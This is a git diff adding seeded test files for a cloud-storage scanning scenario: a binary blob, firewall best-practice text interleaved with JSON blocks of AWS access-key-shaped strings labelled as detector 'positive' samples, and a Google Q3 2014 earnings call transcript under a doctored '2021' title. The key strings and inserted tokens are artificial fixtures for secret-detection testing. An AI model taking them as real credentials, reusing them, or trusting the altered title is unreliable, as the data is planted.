z+*TXP)$n4l#^$%s6}kAQX&(ZACtgJEl!y{&kF8|zn`oMA6A-nA7U&z4WqQ1Y7u#+- z!+b|CD3FbQe1#2HMtThQa4iOo3DNu!FzM5Ze3v>+_{cuJmeq6G# zzBq^G@7VP?25$|)FcMokhi36GBqbbO15XvciA=jNPth}$wGBsCA`B0*S8tMOY8Fn2 z-ZC>9J9`7UkQKio00l*8KVP+2Gf_` zPNu`t!^6KY?SQWVzU`(aSeNh)puO6irY2t(tTdlL?+riuN$r+#)N|XmesUkJ&qohx zto}SUVoUFx-L{N9I;@Fap%x77tc265_xo*tej+<16sj zE$mr`=lfKVK!*bpj{(sw<-y)tLe!TYzed@ zk>Ni*_GmY>h}_NiGw5-o{B#!$<;UWgg|6Gv@d$mOwn|ZOEF@h_S&!}OpsdX`6V7c< z`wq(5l{B<@d)m2H4UH!y#XNKbtu8?6u_Z0gPn3bVO5V_N8w@5ke@2fgLyG}vi* zCz3T33QF6_f}iBTcRBEl2-3@NXk?e_tzoe*M)t$o!mxRE=Xr!{gob_!1U{gBOtb5)2^Ip|e{_|9oqU zYY{>8KSJnsqW?bVzk}tv<24FLmsh{q^Soj)=!Lvuf2&I;Inq)F_BGR1>TZqrALH+W z^T@NGV^4G5+0TR9soB_Hvpe#TKqynRXDS#KK0u}?00;_?Iz%Jk*a13Yx z5@2@g2MEBOKt50ilml~tB|yhxYHu4WDz&lMJ{$YPeKyuzu(c*RjrmTWK5gep#2(Bz z27ZQoMHOsRe){c3M3Ae|XQfe^Q8}3@!&B2(ipQH)S?bI6dWxJC6^xa!3Rc8C%*&kk z4Pg%E!VmRhe&%LAR*Do(rUJb9Q92coV^=Y}(;7!U%VNV>9)6)|d z$d%2Kd5Q~jGB%RwnVM3A@x+4E?%bCh~$_54EYe=geDeWz^wznG;NCHlz zBWX=WT~#Qd9C?d)t&4+YxZujQC0P(%Ii?IL748*%Rm#z{mUD5vA}a0Mn`kTYPJw>r zehNFJSlR!SPdK<B5sHhjRW%7LgN(a%*Dp~P&#e; zL;PJxrwmf2QI2X}!sT!0W0yPzO#P?ye~!MiFUi5>Z4XL8sefBPB^)FJJ2`T9UqWgR5FpzAeVxn;@<-L`&y`E>25#bn4^p;*z% ztJAu2` z64}8Yjd%`5Av1zM#$)c_;dk&b%A1Q&I+BBKDm0nKNSa^LoSBXsv>nYSL&JvivC-3- zDi85AuMJI=3{9c_N7pMlhQUwsKE+StBOS?HKWH9DJdz$2VbpjF!wlYAx`A7m2#CbDIJwVbm;0tS4tW;W!}?qRvL1i z4{j+%MMziy%6EVQ&1;pM`A8Ldo(;LuY+Iq5hxqpAR5tNM<B(3U69)ugRY7X1JQ*gg*Y(imsjG5Mhe!MMMuMl#*a=J zI(G2>wV>4P@J!G1*?pzp2jQbCoZjJ+rZ|gyneJkbw~R*=$a%8t6~5#mU+FYwuBY5z z&gsbKG8vYQJ7W7}=bfI)0yYZTKqF4au?D36qYo8E#P+{|&;j|^KK$Zm8PJG-^qa>n z{IyR%hqe8}*ya5~Da>VUzi`YmF6XD@SN%t~yeoFoeYyVS2{#g&8lH&1GN~E(ke;i&z^HYwF=`XLgZK>i|n_u?P6Cjvl&zW02 zZ~lS@Y8Ec4U0k>1!KJ@>=;23}J-U3wWB>K|$|s(DYSq)L*Q|Z!+2__h|H6ywfBVw! zHoW}Gs~cZ?{f$j;Zhq_Sciw%ke#_Q|ZSQa2(YSNh2fIJ~=;J+mf4^`4AO85K1D_oH z^P&Iu>1R!!|K;$Jzkcy$;OMdAC%*dne!%;)!@?sXqdIkt z?$Whe%vD#%#&y4@NBp(d^-Sn>eeXUu{Hm|&#+z>L*MGn*18==;(BRvL+@aP8TAipj z7!ysB*-YIGm?^N+|qHrBKmFZc-| zQH7i4@|)52_K?63FE)XZsetVdy2|+z-EBOTa^5li?rZ*Wd~A>Q@w-FlyW?$aED7VvT?aOQIP~N7Yay-LvCcTYj$9g?5ygi+c@rAkV<2&+kXhi$? zj`?Hq+sB92R~ltwIRG7sTsyXpWAZ7dU@ zL*cJuy9*WV<2%y-!q+~&BY&UW3me?KRDyi$dJpa@*y=*UR&K*EjIfIxSJs{X@w#(j z_(&`!weT z;fKRB-AHP8mEPMiGTH6OD=&4Yc>LfnA#$Y8HOf65h76WQ+>&&X9S&5W0=ow&B-`Wg zyMlb8HF|}GF5vf%DgaAPhzRyFN}cC(1gpg2+j3KUj=ju@{5>uVO=ip9$ z++~nmp3htAo?KDDx+_eBiWIQDkhRO{>nJDoeq_F@B51kYL4J^tt-FnMrsyc!PG`JPPeSTw zCD?kWIvttrBCnIG!dM0I6ru<3hiG1Y3AEpl>A>c_(A;Q#CHIG1Yf^Y8VeGkx5q_t4 zMy}J#4NUGLC$A=S=3%N?ereIvV7<45loC{W6f=X@e?|q&f%&Cn&g2R%8Ti-(#AQhP z{TI*gaaVX;&J-BU)`y%!DV(rmhNZjw6(vOBPJeN+(+iz>B{I+Dgk`XX$sAK;GV}7h zxg>DB&>Vaw6Ga2@GCVDt{9Vz1Al*_&3aLHpU~F+Ds+3EapOMxfWIv~#hyKXegCVjhV0WdB z%t^~qMzo7vMXrSXs}dliLCzPpw_fh`UMkU|^XmXw=OfTun%qc$*6yN!s{q)M`8p6R z#C#oy?7uO=Fmh=hzB3wGhP{{M91kcei z_!{HLV0d28g+g)qW8qTSxD@hyWpGsh)RV6<;-bU(r+N@SRRHlkC+NVysdWmmS~@KZ9- zUvLneunR)l0w|tv<+vh&%as6bzs^^Y;{VKp^3y@t72Q-^g`{$>xR(mQRQyj(uh3Ck zCI9~hR~7YeuV0RjxJw=~52{NZzZ{SM&XO)|ES5{XwDs-Z$<;4Q`;saUyuw^k1ysK* zpa164{*S8yeQPExJTiJMCS-+kXUx4ZD6VHelRZyABfE2+YN9Pr%r>ivyX%mC%bJ60 zRC4qM|L6QD2ibz|YnPcmIhg)+r2lyJk=56;zpf6f9(QT_v!3QTMqmOt;@~|8RczwH zDF=lM)9*X*Y128zG_z#R$bOZARQrEtV|#$zKqIgXs0ZE#HUjH`wZIBsF)$CP1bjd_ z-~vhj2T%x%2gU&TKrWC4WB@im2Mh-K0hGQE5D&xv3}}AI#!diDz#-rOup8I}tOvSa zvaDQt*5Z66@CdLNmDdP5}X+2{-`k0UCjNU=y$bSO=^E zRsc1C4=4e~1C%}&NCk9&3Wx(*)`Kq41RMai0V{zTfDVOke)9kEAAON1^!QiLiO-I_ z(u+2fqw!_b|8>aW4af;))7NVPXuAVI#InnSLhJvs`_I;-!#f-i!9%I@5O@eG$X0#) zpJR6L=!f(=q`wrXt*DK5y=rTB&!X6?mGXBZKJ=hACw@A%eQ261{+}QLngu|Z*Q*Ds zMYTyiOkJY(s4LYo)phEp)SJ}?&5N1=!YtudZH{)FwnXdGR%sV#S7=vhU)26xdsZ8! zlXN!SP+hietFBS^k#4{4psq>xrS5CpH@X&GgxFQ=F7^^{6mJzp(JH2hnPQ$eUYsme zh?QcESSLO#J|_N7d|muV+%JA1UZo$V&)2*3%k(?+C-sHKYU2{)%SM)%nK&*{GNqYD znwFZDo7S3MFnwu?kOoMJQnBQc7D&sa)zVASyVCp8eyK_NO6qRD*{m_An{&<6%+H%Q znYWn#YL2(uXt7!zvbd~1>tgG3)*r12NvOMu_8a1xUFv|kvu1#1j^=sI2bw=>VuU_I zx=kJ7O}blkDY{`gzpkfvn`joR#mB{G#Cow2GCL&3>2J^r`XYUm zez*QRy~9{xe9`!t@mph9VzMqTcs->r-9a0Z-Uvr{)qS{<*Tee%iwM1L>*0I)!)(UH-^)c&{*7vO2t-rS(upY4P6~E z%`F;@rd0E5&1OwKB>ZR1Va-v^Db2ThK%@dlxY4Eh5uu*tN*a?oiXs<%P*3iJiqb!&1ZdhO3RY8K!SBt&H{-PGzlP=yX z&KDmP*NLx)?~6x8m41}IM1KI9Y&HDWu-lMq%r+Jpy~aA@GUF4*jm8g+M~#0sHbb8} zC0?6oPIM+tOI(!r$He}oGSe2*Jn0qbHt;gayu{pKK4R`<8E#o&$+Ql)jZLE@3baFf+kZ2Cm{R5~jSFb_6M z7$@E}H=6Ypvn9ha+p^r!!+O2-QR@@dW^4bXCzC!-A|qi2>XNVND#Qzo!k+{h6V*Bs z#=LZlYZc;CVu^l&VX5&Gqc`zR)7z%cOqEhml0WHzq{ot8Oxl}tIO!YeA4}!->a6ai z9;CLYhpX-C3iW*Ta`p4-2F)&wMr+hQu6tA0SDYfQ6gP@*i4ExOyTv`?IkB(ag4$&0 zv-G(bDaYu?>kIWS=r`y$>Nn}%*572f-H>4zZpb%`F^o6NG(2bc#L#3oVh9*c7)}|^ z7@7?&hIC_=G1r)H9Aj)Weq=n1_Wjy;#u$~@V7kr<-d4$V9IR1mbQ+_^tjW-1X$mzC zjm~5?rJAx#`KIwEhskB~neI2uGc7hfVp@q2dA(^P>buRf+qBQQ1N%G`re51`y8(-Bj^bi#DXbOz&I3r4<3 zDO!q=;-q*fLFyx^q<+#sX|SZ0bl}M>*`!n{L&}nJr9#OemEc-Z&iTAws*>hOHPT{f zsq_fAUMa1T)=KN7_0k4uBkJ(BRF8TzO1q^!xZ)g;4xvs*q=0lnIwhTvnxz)hFwz`t zE-_b{Ys@Rm>&&}R!$amK^pSx11V-F5sBepzSt2dbmKaN%CEk)?8E74BRa~ zrdl(sS=KSu@zz4C!&+i>p+EUBBHwSVvaX_*x^i5Rz!eExk-!xRT#>-fmcV}l?E5WR literal 0 HcmV?d00001 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt b/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt new file mode 100644 index 0000000..43f68f8 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt @@ -0,0 +1,42 @@ +Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. +Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 +On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + }. +} +DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 +Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. +The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. +The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" + } +} +Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. +SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). +SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. +SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. + + "AWS-AAKI": { + "positive": { + "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", + "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" + } +} + +Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. +Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. +For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt new file mode 100644 index 0000000..375f280 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt @@ -0,0 +1,601 @@ +Awesome Q3 2021 Earnings Call - New9 super 3excellent wonderful awesome awesome 13Company great 100 goodgoodtestParticipants great +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the 